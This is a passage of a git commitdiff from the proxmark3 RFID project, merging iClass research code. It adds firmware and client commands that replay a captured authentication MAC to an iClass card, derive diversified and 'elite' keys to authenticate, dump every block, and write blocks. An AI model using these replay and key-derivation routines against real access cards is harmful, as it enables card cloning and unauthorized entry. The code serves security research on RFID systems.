]> git.zerfleddert.de Git - proxmark3-svn/commitdiff
Merge remote-tracking branch 'origin/master' into PenturaLabs-iclass-research 22/head
authorMartin Holst Swende <martin@swende.se>
Fri, 19 Sep 2014 07:45:38 +0000 (09:45 +0200)
committerMartin Holst Swende <martin@swende.se>
Fri, 19 Sep 2014 07:45:38 +0000 (09:45 +0200)
24 files changed:
README.txt
armsrc/appmain.c
armsrc/apps.h
armsrc/iclass.c
client/Makefile
client/cmdhficlass.c
client/cmdhficlass.h
client/loclass/cipher.c [new file with mode: 0644]
client/loclass/cipher.h [new file with mode: 0644]
client/loclass/cipherutils.c [new file with mode: 0644]
client/loclass/cipherutils.h [new file with mode: 0644]
client/loclass/des.c [new file with mode: 0644]
client/loclass/des.h [new file with mode: 0644]
client/loclass/elite_crack.c [new file with mode: 0644]
client/loclass/elite_crack.h [new file with mode: 0644]
client/loclass/fileutils.c [new file with mode: 0644]
client/loclass/fileutils.h [new file with mode: 0644]
client/loclass/ikeys.c [new file with mode: 0644]
client/loclass/ikeys.h [new file with mode: 0644]
client/loclass/main.c [new file with mode: 0644]
client/obj/loclass/.dummy [new file with mode: 0644]
common/iso15693tools.c
common/iso15693tools.h
include/usb_cmd.h

index ce5eacf451d49da997f052abbf60bb2fc13b2254..cb2c7f3c783a137b43f99c7d14010d611bfa49ee 100644 (file)
@@ -85,4 +85,3 @@ Jonathan Westhues
 user jwesthues, at host cq.cx
 
 May 2007, Cambridge MA
-
index 2061f6b3efb758fb4817cf54f0f2cd4c082a88b9..a3f507d65c3bb19ccf2d8277eb65d1f5f60d509d 100644 (file)
@@ -867,6 +867,9 @@ void UsbPacketReceived(uint8_t *packet, int len)
                case CMD_READER_ICLASS:
                        ReaderIClass(c->arg[0]);
                        break;
+               case CMD_READER_ICLASS_REPLAY:
+                   ReaderIClass_Replay(c->arg[0], c->d.asBytes);
+                       break;
 #endif
 
                case CMD_SIMULATE_TAG_HF_LISTEN:
index 1ef0e472969d8d63fd255305f603762ef664cf26..011ad6953b27796587ad3d62750a037c499898ba 100644 (file)
@@ -201,7 +201,9 @@ void SetDebugIso15693(uint32_t flag);
 void RAMFUNC SnoopIClass(void);
 void SimulateIClass(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain);
 void ReaderIClass(uint8_t arg0);
-//int doIClassSimulation(uint8_t csn[], int breakAfterMacReceived);
+void ReaderIClass_Replay(uint8_t arg0,uint8_t *MAC);
+void IClass_iso14443A_GetPublic(uint8_t arg0);
+
 // hitag2.h
 void SnoopHitag(uint32_t type);
 void SimulateHitagTag(bool tag_mem_supplied, byte_t* data);
index d5cd366dad9c1288403579b271739a21cb873928..0ff24bfdd08f8eb0eb45f90e045b4b9db87a22fb 100644 (file)
 #include "util.h"
 #include "string.h"
 #include "common.h"
+#include "cmd.h"
 // Needed for CRC in emulation mode;
 // same construction as in ISO 14443;
 // different initial value (CRC_ICLASS)
 #include "iso14443crc.h"
+#include "iso15693tools.h"
 
 static int timeout = 4096;
 
@@ -1167,12 +1169,11 @@ int doIClassSimulation(uint8_t csn[], int breakAfterMacReceived, uint8_t *reader
                } else if(receivedCmd[0] == 0x05) {
                        // Reader random and reader MAC!!!
                        // Do not respond
-                       // We do not know what to answer, so lets keep quit
+            // We do not know what to answer, so lets keep quiet
                        resp = resp1; respLen = 0; //order = 5;
                        respdata = NULL;
                        respsize = 0;
                        if (breakAfterMacReceived){
-                               // TODO, actually return this to the caller instead of just
                                // dbprintf:ing ...
                                Dbprintf("CSN: %02x %02x %02x %02x %02x %02x %02x %02x",csn[0],csn[1],csn[2],csn[3],csn[4],csn[5],csn[6],csn[7]);
                                Dbprintf("RDR:  (len=%02d): %02x %02x %02x %02x %02x %02x %02x %02x %02x",len,
@@ -1465,18 +1466,255 @@ int ReaderReceiveIClass(uint8_t* receivedAnswer)
   return Demod.len;
 }
 
+void setupIclassReader()
+{
+    FpgaDownloadAndGo(FPGA_BITSTREAM_HF);
+    // Reset trace buffer
+    iso14a_set_tracing(TRUE);
+    iso14a_clear_trace();
+
+    // Setup SSC
+    FpgaSetupSsc();
+    // Start from off (no field generated)
+    // Signal field is off with the appropriate LED
+    LED_D_OFF();
+    FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
+    SpinDelay(200);
+
+    SetAdcMuxFor(GPIO_MUXSEL_HIPKD);
+
+    // Now give it time to spin up.
+    // Signal field is on with the appropriate LED
+    FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD);
+    SpinDelay(200);
+    LED_A_ON();
+
+}
+
 // Reader iClass Anticollission
 void ReaderIClass(uint8_t arg0) {
+    uint8_t act_all[]     = { 0x0a };
+    uint8_t identify[]    = { 0x0c };
+    uint8_t select[]      = { 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
+    uint8_t readcheck_cc[]= { 0x88, 0x02 };
+
+    uint8_t card_data[24]={0};
+    uint8_t last_csn[8]={0};
+
+    uint8_t* resp = (((uint8_t *)BigBuf) + 3560);      // was 3560 - tied to other size changes
+
+    int read_status= 0;
+    bool abort_after_read = arg0 & FLAG_ICLASS_READER_ONLY_ONCE;
+
+    setupIclassReader();
+
+    size_t datasize = 0;
+    while(!BUTTON_PRESS())
+    {
+        WDT_HIT();
+
+        // Send act_all
+        ReaderTransmitIClass(act_all, 1);
+        // Card present?
+        if(ReaderReceiveIClass(resp)) {
+
+            ReaderTransmitIClass(identify, 1);
+
+            if(ReaderReceiveIClass(resp) == 10) {
+                //Copy the Anti-collision CSN to our select-packet
+                memcpy(&select[1],resp,8);
+                //Dbprintf("Anti-collision CSN: %02x %02x %02x %02x %02x %02x %02x %02x",resp[0], resp[1], resp[2],
+                //        resp[3], resp[4], resp[5],
+                //        resp[6], resp[7]);
+                //Select the card
+                ReaderTransmitIClass(select, sizeof(select));
+
+                if(ReaderReceiveIClass(resp) == 10) {
+                    //Save CSN in response data
+                    memcpy(card_data,resp,8);
+                    datasize += 8;
+                    //Flag that we got to at least stage 1, read CSN
+                    read_status = 1;
+
+                    // Card selected
+                    //Dbprintf("Readcheck on Sector 2");
+                    ReaderTransmitIClass(readcheck_cc, sizeof(readcheck_cc));
+                    if(ReaderReceiveIClass(resp) == 8) {
+                        //Save CC (e-purse) in response data
+                        memcpy(card_data+8,resp,8);
+                        datasize += 8;
+                        //Got both
+                        read_status = 2;
+                    }
+
+                    LED_B_ON();
+                    //Send back to client, but don't bother if we already sent this
+                    if(memcmp(last_csn, card_data, 8) != 0)
+                        cmd_send(CMD_ACK,read_status,0,0,card_data,datasize);
+
+                    //Save that we already sent this....
+                    if(read_status ==  2)
+                        memcpy(last_csn, card_data, 8);
+
+                    LED_B_OFF();
+
+                    if(abort_after_read) break;
+                }
+            }
+        }
+
+        if(traceLen > TRACE_SIZE) {
+            DbpString("Trace full");
+            break;
+        }
+    }
+    LED_A_OFF();
+}
+
+void ReaderIClass_Replay(uint8_t arg0, uint8_t *MAC) {
        uint8_t act_all[]     = { 0x0a };
        uint8_t identify[]    = { 0x0c };
        uint8_t select[]      = { 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
-
+       uint8_t readcheck_cc[]= { 0x88, 0x02 };
+       uint8_t check[]       = { 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
+       uint8_t read[]        = { 0x0c, 0x00, 0x00, 0x00 };
+       
+    uint16_t crc = 0;
+       uint8_t cardsize=0;
+       bool read_success=false;
+       uint8_t mem=0;
+       
+       static struct memory_t{
+         int k16;
+         int book;
+         int k2;
+         int lockauth;
+         int keyaccess;
+       } memory;
+       
        uint8_t* resp = (((uint8_t *)BigBuf) + 3560);   // was 3560 - tied to other size changes
 
-    FpgaDownloadAndGo(FPGA_BITSTREAM_HF);
+    setupIclassReader();
+
+
+       for(int i=0;i<1;i++) {
+       
+               if(traceLen > TRACE_SIZE) {
+                       DbpString("Trace full");
+                       break;
+               }
+               
+               if (BUTTON_PRESS()) break;
+
+               // Send act_all
+               ReaderTransmitIClass(act_all, 1);
+               // Card present?
+               if(ReaderReceiveIClass(resp)) {
+                       ReaderTransmitIClass(identify, 1);
+                       if(ReaderReceiveIClass(resp) == 10) {
+                               // Select card          
+                               memcpy(&select[1],resp,8);
+                               ReaderTransmitIClass(select, sizeof(select));
+
+                               if(ReaderReceiveIClass(resp) == 10) {
+                                       Dbprintf("     Selected CSN: %02x %02x %02x %02x %02x %02x %02x %02x",
+                                       resp[0], resp[1], resp[2],
+                                       resp[3], resp[4], resp[5],
+                                       resp[6], resp[7]);
+                               }
+                               // Card selected
+                               Dbprintf("Readcheck on Sector 2");
+                               ReaderTransmitIClass(readcheck_cc, sizeof(readcheck_cc));
+                               if(ReaderReceiveIClass(resp) == 8) {
+                                  Dbprintf("     CC: %02x %02x %02x %02x %02x %02x %02x %02x",
+                                       resp[0], resp[1], resp[2],
+                                       resp[3], resp[4], resp[5],
+                                       resp[6], resp[7]);
+                               }else return;
+                               Dbprintf("Authenticate");
+                               //for now replay captured auth (as cc not updated)
+                               memcpy(check+5,MAC,4);
+                //Dbprintf("     AA: %02x %02x %02x %02x",
+                //     check[5], check[6], check[7],check[8]);
+                               ReaderTransmitIClass(check, sizeof(check));
+                               if(ReaderReceiveIClass(resp) == 4) {
+                                  Dbprintf("     AR: %02x %02x %02x %02x",
+                                       resp[0], resp[1], resp[2],resp[3]);
+                               }else {
+                                 Dbprintf("Error: Authentication Fail!");
+                                 return;
+                               }
+                               Dbprintf("Dump Contents");
+                               //first get configuration block
+                               read_success=false;
+                               read[1]=1;
+                               uint8_t *blockno=&read[1];
+                               crc = iclass_crc16((char *)blockno,1);
+                               read[2] = crc >> 8;
+                               read[3] = crc & 0xff;
+                               while(!read_success){
+                                     ReaderTransmitIClass(read, sizeof(read));
+                                     if(ReaderReceiveIClass(resp) == 10) {
+                                        read_success=true;
+                                        mem=resp[5];
+                                        memory.k16= (mem & 0x80);
+                                        memory.book= (mem & 0x20);
+                                        memory.k2= (mem & 0x8);
+                                        memory.lockauth= (mem & 0x2);
+                                        memory.keyaccess= (mem & 0x1);
+
+                                     }
+                               }
+                               if (memory.k16){
+                                 cardsize=255;
+                               }else cardsize=32;
+                               //then loop around remaining blocks
+                               for(uint8_t j=0; j<cardsize; j++){
+                                   read_success=false;
+                                   uint8_t *blockno=&j;
+                                   //crc_data[0]=j;
+                                   read[1]=j;
+                                   crc = iclass_crc16((char *)blockno,1);
+                                   read[2] = crc >> 8;
+                                   read[3] = crc & 0xff;
+                                   while(!read_success){
+                                     ReaderTransmitIClass(read, sizeof(read));
+                                     if(ReaderReceiveIClass(resp) == 10) {
+                                        read_success=true;
+                                        Dbprintf("     %02x: %02x %02x %02x %02x %02x %02x %02x %02x",
+                                         j, resp[0], resp[1], resp[2],
+                                         resp[3], resp[4], resp[5],
+                                         resp[6], resp[7]);
+                                     }
+                                   }
+                               }
+                       }
+               }
+               WDT_HIT();
+       }
+       
+       LED_A_OFF();
+}
+
+//2. Create Read method (cut-down from above) based off responses from 1. 
+//   Since we have the MAC could continue to use replay function.
+//3. Create Write method
+/*
+void IClass_iso14443A_write(uint8_t arg0, uint8_t blockNo, uint8_t *data, uint8_t *MAC) {
+       uint8_t act_all[]     = { 0x0a };
+       uint8_t identify[]    = { 0x0c };
+       uint8_t select[]      = { 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
+       uint8_t readcheck_cc[]= { 0x88, 0x02 };
+       uint8_t check[]       = { 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
+       uint8_t read[]        = { 0x0c, 0x00, 0x00, 0x00 };
+       uint8_t write[]       = { 0x87, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
+       
+    uint16_t crc = 0;
+       
+       uint8_t* resp = (((uint8_t *)BigBuf) + 3560);   // was 3560 - tied to other size changes
 
        // Reset trace buffer
-       memset(trace, 0x44, RECV_CMD_OFFSET);
+    memset(trace, 0x44, RECV_CMD_OFFSET);
        traceLen = 0;
 
        // Setup SSC
@@ -1496,7 +1734,7 @@ void ReaderIClass(uint8_t arg0) {
 
        LED_A_ON();
 
-       for(;;) {
+       for(int i=0;i<1;i++) {
        
                if(traceLen > TRACE_SIZE) {
                        DbpString("Trace full");
@@ -1521,13 +1759,67 @@ void ReaderIClass(uint8_t arg0) {
                                        resp[3], resp[4], resp[5],
                                        resp[6], resp[7]);
                                }
-                               // Card selected, whats next... ;-)
-                       }
+                               // Card selected
+                               Dbprintf("Readcheck on Sector 2");
+                               ReaderTransmitIClass(readcheck_cc, sizeof(readcheck_cc));
+                               if(ReaderReceiveIClass(resp) == 8) {
+                                  Dbprintf("     CC: %02x %02x %02x %02x %02x %02x %02x %02x",
+                                       resp[0], resp[1], resp[2],
+                                       resp[3], resp[4], resp[5],
+                                       resp[6], resp[7]);
+                               }else return;
+                               Dbprintf("Authenticate");
+                               //for now replay captured auth (as cc not updated)
+                               memcpy(check+5,MAC,4);
+                               Dbprintf("     AA: %02x %02x %02x %02x",
+                                       check[5], check[6], check[7],check[8]);
+                               ReaderTransmitIClass(check, sizeof(check));
+                               if(ReaderReceiveIClass(resp) == 4) {
+                                  Dbprintf("     AR: %02x %02x %02x %02x",
+                                       resp[0], resp[1], resp[2],resp[3]);
+                               }else {
+                                 Dbprintf("Error: Authentication Fail!");
+                                 return;
+                               }
+                               Dbprintf("Write Block");
+                               
+                               //read configuration for max block number
+                               read_success=false;
+                               read[1]=1;
+                               uint8_t *blockno=&read[1];
+                               crc = iclass_crc16((char *)blockno,1);
+                               read[2] = crc >> 8;
+                               read[3] = crc & 0xff;
+                               while(!read_success){
+                                     ReaderTransmitIClass(read, sizeof(read));
+                                     if(ReaderReceiveIClass(resp) == 10) {
+                                        read_success=true;
+                                        mem=resp[5];
+                                        memory.k16= (mem & 0x80);
+                                        memory.book= (mem & 0x20);
+                                        memory.k2= (mem & 0x8);
+                                        memory.lockauth= (mem & 0x2);
+                                        memory.keyaccess= (mem & 0x1);
+
+                                     }
+                               }
+                               if (memory.k16){
+                                 cardsize=255;
+                               }else cardsize=32;
+                               //check card_size
+                               
+                               memcpy(write+1,blockNo,1);
+                               memcpy(write+2,data,8);
+                               memcpy(write+10,mac,4);
+                               while(!send_success){
+                                 ReaderTransmitIClass(write, sizeof(write));
+                                 if(ReaderReceiveIClass(resp) == 10) {
+                                   write_success=true;
+                               }
+                       }//
                }
                WDT_HIT();
        }
        
        LED_A_OFF();
-}
-
-
+}*/
index e4a3580b8814ee0b33da32693f59abea3b073413..05ffc66710657df664a3ec71b8dd7db1e5fa1eec 100644 (file)
@@ -15,7 +15,7 @@ OBJDIR = obj
 
 LDLIBS = -L/opt/local/lib -L/usr/local/lib -lreadline -lpthread ../liblua/liblua.a
 LDFLAGS = $(COMMON_FLAGS)
-CFLAGS = -std=c99 -I. -I../include -I../common -I/opt/local/include -I../liblua -Wall $(COMMON_FLAGS) -g -O4 
+CFLAGS = -std=c99 -lcrypto -I. -I../include -I../common -I/opt/local/include -I../liblua -Wall $(COMMON_FLAGS) -g -O4 
 LUAPLATFORM = generic
 
 ifneq (,$(findstring MINGW,$(platform)))
@@ -24,11 +24,9 @@ QTLDLIBS = -L$(QTDIR)/lib -lQtCore4 -lQtGui4
 MOC = $(QTDIR)/bin/moc
 LUAPLATFORM = mingw
 else ifeq ($(platform),Darwin)
-#CXXFLAGS = -I/Library/Frameworks/QtGui.framework/Versions/Current/Headers -I/Library/Frameworks/QtCore.framework/Versions/Current/Headers
-#QTLDLIBS = -framework QtGui -framework QtCore
-CXXFLAGS = -I$(QTDIR)/include -I$(QTDIR)/include/QtCore -I$(QTDIR)/include/QtGui
-QTLDLIBS = -F/opt/local/Library/Frameworks -framework QtGui -framework QtCore
-MOC = moc 
+CXXFLAGS = $(shell pkg-config --cflags QtCore QtGui 2>/dev/null) -Wall -O4
+QTLDLIBS = $(shell pkg-config --libs QtCore QtGui 2>/dev/null)
+MOC = $(shell pkg-config --variable=moc_location QtCore)
 LUAPLATFORM = macosx
 else
 CXXFLAGS = $(shell pkg-config --cflags QtCore QtGui 2>/dev/null) -Wall -O4
@@ -58,6 +56,12 @@ CORESRCS =   uart.c \
 CMDSRCS =      nonce2key/crapto1.c\
                nonce2key/crypto1.c\
                nonce2key/nonce2key.c\
+               loclass/cipher.c \
+               loclass/cipherutils.c \
+               loclass/des.c \
+               loclass/ikeys.c \
+               loclass/elite_crack.c\
+               loclass/fileutils.c\
                        mifarehost.c\
                        crc16.c \
                        iso14443crc.c \
@@ -76,8 +80,8 @@ CMDSRCS =     nonce2key/crapto1.c\
                        cmdhfmf.c \
                        cmdhw.c \
                        cmdlf.c \
-                       cmdlfhid.c \
                        cmdlfio.c \
+                       cmdlfhid.c \
                        cmdlfem4x.c \
                        cmdlfhitag.c \
                        cmdlfti.c \
index b8e1e0989f62abc5bca9d409f2fe53b43500c83e..7156b1188809ab9c492ac52a2efb4d2e32e270e6 100644 (file)
@@ -1,6 +1,7 @@
 //-----------------------------------------------------------------------------
 // Copyright (C) 2010 iZsh <izsh at fail0verflow.com>, Hagen Fritsch
 // Copyright (C) 2011 Gerhard de Koning Gans
+// Copyright (C) 2014 Midnitesnake & Andy Davies & Martin Holst Swende
 //
 // This code is licensed to you under the terms of the GNU GPL, version 2 or,
 // at your option, any later version. See the LICENSE.txt file for the text of
 #include "common.h"
 #include "util.h"
 #include "cmdmain.h"
+#include "loclass/des.h"
+#include "loclass/cipherutils.h"
+#include "loclass/cipher.h"
+#include "loclass/ikeys.h"
+#include "loclass/elite_crack.h"
+#include "loclass/fileutils.h"
 
 static int CmdHelp(const char *Cmd);
 
 int xorbits_8(uint8_t val)
 {
-       uint8_t res = val ^ (val >> 1); //1st pass
-       res = res ^ (res >> 1);                 // 2nd pass
-       res = res ^ (res >> 2);                 // 3rd pass
-       res = res ^ (res >> 4);                         // 4th pass
-       return res & 1;
+    uint8_t res = val ^ (val >> 1); //1st pass
+    res = res ^ (res >> 1);            // 2nd pass
+    res = res ^ (res >> 2);            // 3rd pass
+    res = res ^ (res >> 4);                    // 4th pass
+    return res & 1;
 }
 
 int CmdHFiClassList(const char *Cmd)
@@ -81,7 +88,7 @@ int CmdHFiClassList(const char *Cmd)
                timestamp = *((uint32_t *)(got+i));
                parityBits = *((uint32_t *)(got+i+4));
                len = got[i+8];
-               frame = (got+i+9);
+        frame = (got+i+9);
                uint32_t next_timestamp = (*((uint32_t *)(got+i+9))) & 0x7fffffff;
 
                tagToReader = timestamp & 0x80000000;
@@ -91,7 +98,7 @@ int CmdHFiClassList(const char *Cmd)
                        first_timestamp = timestamp;
                }
 
-               // Break and stick with current result if buffer was not completely full
+        // Break and stick with current result idf buffer was not completely full
                if (frame[0] == 0x44 && frame[1] == 0x44 && frame[2] == 0x44 && frame[3] == 0x44) break;
 
                char line[1000] = "";
@@ -290,11 +297,6 @@ int CmdHFiClassListOld(const char *Cmd)
   return 0;
 }
 
-/*void iso14a_set_timeout(uint32_t timeout) {
-       UsbCommand c = {CMD_READER_ISO_14443a, {ISO14A_SET_TIMEOUT, 0, timeout}};
-       SendCommand(&c);
-}*/
-
 int CmdHFiClassSnoop(const char *Cmd)
 {
   UsbCommand c = {CMD_SNOOP_ICLASS};
@@ -393,44 +395,266 @@ int CmdHFiClassSim(const char *Cmd)
                memcpy(c.d.asBytes, CSN, 8);
                SendCommand(&c);
        }
+
   return 0;
 }
 
 int CmdHFiClassReader(const char *Cmd)
+{
+  UsbCommand c = {CMD_READER_ICLASS, {0}};
+  SendCommand(&c);
+    UsbCommand resp;
+  while(!ukbhit()){
+      if (WaitForResponseTimeout(CMD_ACK,&resp,4500)) {
+            uint8_t isOK    = resp.arg[0] & 0xff;
+            uint8_t * data  = resp.d.asBytes;
+
+            PrintAndLog("isOk:%02x", isOK);
+
+            if(isOK > 0)
+            {
+                PrintAndLog("CSN: %s",sprint_hex(data,8));
+            }
+            if(isOK >= 1)
+            {
+                PrintAndLog("CC: %s",sprint_hex(data+8,8));
+            }else{
+                PrintAndLog("No CC obtained");
+            }
+        } else {
+            PrintAndLog("Command execute timeout");
+        }
+    }
+
+  return 0;
+}
+
+int CmdHFiClassReader_Replay(const char *Cmd)
 {
   uint8_t readerType = 0;
+  uint8_t MAC[4]={0x00, 0x00, 0x00, 0x00};
 
   if (strlen(Cmd)<1) {
-       PrintAndLog("Usage:  hf iclass reader    <reader type>");
-       PrintAndLog("        sample: hf iclass reader 0");
-       return 0;
-  }    
+    PrintAndLog("Usage:  hf iclass replay <MAC>");
+    PrintAndLog("        sample: hf iclass replay 00112233");
+    return 0;
+  }
 
-  readerType = param_get8(Cmd, 0);
-  PrintAndLog("--readertype:%02x", readerType);
+  if (param_gethex(Cmd, 0, MAC, 8)) {
+    PrintAndLog("MAC must include 8 HEX symbols");
+    return 1;
+  }
 
-  UsbCommand c = {CMD_READER_ICLASS, {readerType}};
-  //memcpy(c.d.asBytes, CSN, 8);
+  UsbCommand c = {CMD_READER_ICLASS_REPLAY, {readerType}};
+  memcpy(c.d.asBytes, MAC, 4);
   SendCommand(&c);
 
-  /*UsbCommand * resp = WaitForResponseTimeout(CMD_ACK, 1500);
-  if (resp != NULL) {
-       uint8_t                isOK  = resp->arg[0] & 0xff;
+  return 0;
+}
+
+int CmdHFiClassReader_Dump(const char *Cmd)
+{
+  uint8_t readerType = 0;
+  uint8_t MAC[4]={0x00,0x00,0x00,0x00};
+  uint8_t KEY[8]={0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};
+  uint8_t CSN[8]={0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};
+  uint8_t CCNR[12]={0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};
+  //uint8_t CC_temp[8]={0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};
+  uint8_t div_key[8]={0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};
+  uint8_t keytable[128] = {0};
+  int elite = 0;
+  uint8_t *used_key;
+  int i;
+  if (strlen(Cmd)<1) 
+  {
+    PrintAndLog("Usage:  hf iclass dump <Key> [e]");
+    PrintAndLog("        Key    - A 16 byte master key");
+    PrintAndLog("        e      - If 'e' is specified, the key is interpreted as the 16 byte");
+    PrintAndLog("                 Custom Key (KCus), which can be obtained via reader-attack");
+    PrintAndLog("                 See 'hf iclass sim 2'. This key should be on iclass-format");
+    PrintAndLog("        sample: hf iclass dump 0011223344556677");
+
+
+    return 0;
+  }
+
+  if (param_gethex(Cmd, 0, KEY, 16)) 
+  {
+    PrintAndLog("KEY must include 16 HEX symbols");
+    return 1;
+  }
+
+  if (param_getchar(Cmd, 1) == 'e')
+  {
+    PrintAndLog("Elite switch on");
+    elite = 1;
+
+    //calc h2
+    hash2(KEY, keytable);
+    printarr_human_readable("keytable", keytable, 128);
+
+  }
+
+
+  UsbCommand c = {CMD_READER_ICLASS, {0}};
+  c.arg[0] = FLAG_ICLASS_READER_ONLY_ONCE;
+
+  SendCommand(&c);
+  
+  UsbCommand resp;
+
+  if (WaitForResponseTimeout(CMD_ACK,&resp,4500)) {
+        uint8_t isOK    = resp.arg[0] & 0xff;
+        uint8_t * data  = resp.d.asBytes;
+
+        memcpy(CSN,data,8);
+        memcpy(CCNR,data+8,8);
+
+        PrintAndLog("isOk:%02x", isOK);
+
+        if(isOK > 0)
+        {
+            PrintAndLog("CSN: %s",sprint_hex(CSN,8));
+        }
+        if(isOK > 1)
+        {
+            if(elite)
+            {
+                uint8_t key_sel[8] = {0};
+                uint8_t key_sel_p[8] = { 0 };
+                //Get the key index (hash1)
+                uint8_t key_index[8] = {0};
+
+                hash1(CSN, key_index);
+                printvar("hash1", key_index,8);
+                for(i = 0; i < 8 ; i++)
+                    key_sel[i] = keytable[key_index[i]] & 0xFF;
+                printvar("k_sel", key_sel,8);
+                //Permute from iclass format to standard format
+                permutekey_rev(key_sel,key_sel_p);
+                used_key = key_sel_p;
+            }else{
+                //Perhaps this should also be permuted to std format?
+                // Something like the code below? I have no std system
+                // to test this with /Martin
+
+                //uint8_t key_sel_p[8] = { 0 };
+                //permutekey_rev(KEY,key_sel_p);
+                //used_key = key_sel_p;
+
+                used_key = KEY;
+
+            }
+            printvar("Used key",used_key,8);
+            diversifyKey(CSN,used_key, div_key);
+            printvar("Div key", div_key, 8);
+            printvar("CC_NR:",CCNR,12);
+            doMAC(CCNR,12,div_key, MAC);
+            printvar("MAC", MAC, 4);
+
+            UsbCommand d = {CMD_READER_ICLASS_REPLAY, {readerType}};
+            memcpy(d.d.asBytes, MAC, 4);
+            SendCommand(&d);
+
+        }else{
+            PrintAndLog("Failed to obtain CC! Aborting");
+        }
+    } else {
+        PrintAndLog("Command execute timeout");
+    }
+
+  return 0;
+}
+
+int CmdHFiClass_iso14443A_write(const char *Cmd)
+{
+  uint8_t readerType = 0;
+  uint8_t MAC[4]={0x00,0x00,0x00,0x00};
+  uint8_t KEY[8]={0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};
+  uint8_t CSN[8]={0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};
+  uint8_t CCNR[12]={0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};
+  uint8_t div_key[8]={0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};
+
+  uint8_t blockNo=0;
+  uint8_t bldata[8]={0};
+
+  if (strlen(Cmd)<3) 
+  {
+    PrintAndLog("Usage:  hf iclass write <Key> <Block> <Data>");
+    PrintAndLog("        sample: hf iclass write 0011223344556677 10 AAAAAAAAAAAAAAAA");
+    return 0;
+  }
+
+  if (param_gethex(Cmd, 0, KEY, 16)) 
+  {
+    PrintAndLog("KEY must include 16 HEX symbols");
+    return 1;
+  }
+  
+  blockNo = param_get8(Cmd, 1);
+  if (blockNo>32)
+  {
+        PrintAndLog("Error: Maximum number of blocks is 32 for iClass 2K Cards!");
+        return 1;
+  }
+  if (param_gethex(Cmd, 2, bldata, 8)) 
+  {
+        PrintAndLog("Block data must include 8 HEX symbols");
+        return 1;
+  }
+  
+  UsbCommand c = {CMD_ICLASS_ISO14443A_WRITE, {0}};
+  SendCommand(&c);
+  UsbCommand resp;
+
+  if (WaitForResponseTimeout(CMD_ACK,&resp,4500)) {
+    uint8_t isOK    = resp.arg[0] & 0xff;
+    uint8_t * data  = resp.d.asBytes;
+    
+    memcpy(CSN,data,8);
+    memcpy(CCNR,data+8,8);
+    PrintAndLog("DEBUG: %s",sprint_hex(CSN,8));
+    PrintAndLog("DEBUG: %s",sprint_hex(CCNR,8));
        PrintAndLog("isOk:%02x", isOK);
   } else {
        PrintAndLog("Command execute timeout");
-  }*/
+  }
+
+  diversifyKey(CSN,KEY, div_key);
+
+  PrintAndLog("Div Key: %s",sprint_hex(div_key,8));
+  doMAC(CCNR, 12,div_key, MAC);
+
+  UsbCommand c2 = {CMD_ICLASS_ISO14443A_WRITE, {readerType,blockNo}};
+  memcpy(c2.d.asBytes, bldata, 8);
+  memcpy(c2.d.asBytes+8, MAC, 4);
+  SendCommand(&c2);
 
+  if (WaitForResponseTimeout(CMD_ACK,&resp,1500)) {
+    uint8_t isOK    = resp.arg[0] & 0xff;
+    uint8_t * data  = resp.d.asBytes;
+
+    if (isOK)
+      PrintAndLog("isOk:%02x data:%s", isOK, sprint_hex(data, 4));
+    else
+      PrintAndLog("isOk:%02x", isOK);
+  } else {
+      PrintAndLog("Command execute timeout");
+  }
   return 0;
 }
 
+
 static command_t CommandTable[] = 
 {
-  {"help",    CmdHelp,        1, "This help"},
-  {"list",    CmdHFiClassList,   0, "List iClass history"},
-  {"snoop",   CmdHFiClassSnoop,  0, "Eavesdrop iClass communication"},
-  {"sim",     CmdHFiClassSim,    0, "Simulate iClass tag"},
-  {"reader",  CmdHFiClassReader, 0, "Read an iClass tag"},
+  {"help",     CmdHelp,                        1,      "This help"},
+  {"list",     CmdHFiClassList,        0,      "List iClass history"},
+  {"snoop",    CmdHFiClassSnoop,       0,      "Eavesdrop iClass communication"},
+  {"sim",      CmdHFiClassSim,         0,      "Simulate iClass tag"},
+  {"reader",CmdHFiClassReader, 0,      "Read an iClass tag"},
+  {"replay",CmdHFiClassReader_Replay,  0,      "Read an iClass tag via Reply Attack"},
+  {"dump",     CmdHFiClassReader_Dump, 0,              "Authenticate and Dump iClass tag"},
+  {"write",    CmdHFiClass_iso14443A_write,    0,      "Authenticate and Write iClass block"},
   {NULL, NULL, 0, NULL}
 };
 
@@ -445,53 +669,3 @@ int CmdHelp(const char *Cmd)
   CmdsHelp(CommandTable);
   return 0;
 }
-
-/**
- * @brief checks if a file exists
- * @param filename
- * @return
- */
-int fileExists(const char *filename) {
-       struct stat st;
-       int result = stat(filename, &st);
-       return result == 0;
-}
-/**
- * @brief Utility function to save data to a file. This method takes a preferred name, but if that
- * file already exists, it tries with another name until it finds something suitable.
- * E.g. dumpdata-15.txt
- * @param preferredName
- * @param suffix the file suffix. Leave out the ".".
- * @param data The binary data to write to the file
- * @param datalen the length of the data
- * @return 0 for ok, 1 for failz
- */
-int saveFile(const char *preferredName, const char *suffix, const void* data, size_t datalen)
-{
-       FILE *f = fopen(preferredName, "wb");
-       int size = sizeof(char) * (strlen(preferredName)+strlen(suffix)+5);
-       char * fileName = malloc(size);
-
-       memset(fileName,0,size);
-       int num = 1;
-       sprintf(fileName,"%s.%s", preferredName, suffix);
-       while(fileExists(fileName))
-       {
-               sprintf(fileName,"%s-%d.%s", preferredName, num, suffix);
-               num++;
-       }
